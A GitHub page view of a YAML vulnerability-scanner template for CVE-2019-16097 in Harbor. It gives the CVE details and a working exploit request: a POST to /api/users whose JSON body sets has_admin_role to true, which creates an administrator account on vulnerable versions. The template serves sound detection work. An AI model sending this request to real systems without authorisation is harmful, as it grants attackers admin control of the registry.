-
Notifications
You must be signed in to change notification settings - Fork 222
/
CVE-2019-16097.yaml
40 lines (37 loc) · 1.42 KB
/
CVE-2019-16097.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
id: CVE-2019-16097
info:
name: Harbor Enables Privilege Escalation From Zero to admin
author: pikpikcu
severity: medium
description: |
core/api/user.go in Harbor 1.7.0 through 1.8.2 allows non-admin users to create admin accounts via the POST /api/users API, when Harbor is setup with DB as authentication backend and allow user to do self-registration. Fixed version: v1.7.6 v1.8.3. v.1.9.0. Workaround without applying the fix: configure Harbor to use non-DB authentication backend such as LDAP.
reference:
- https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/
- https://github.com/goharbor/harbor/issues/8951
tags: cve,cve2019,intrusive,harbor
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
cvss-score: 6.50
cve-id: CVE-2019-16097
cwe-id: CWE-862
requests:
- method: POST
path:
- '{{BaseURL}}/api/users'
headers:
Content-Type: application/json
body: |
{"username": "testpoc", "has_admin_role": true, "password": "TestPoc!", "email": "[email protected]", "realname": "poc"}
matchers-condition: and
matchers:
- type: word
words:
- "username has already been used"
- "Location: /api/users/"
part: all
condition: or
- type: status
status:
- 201
- 409
condition: or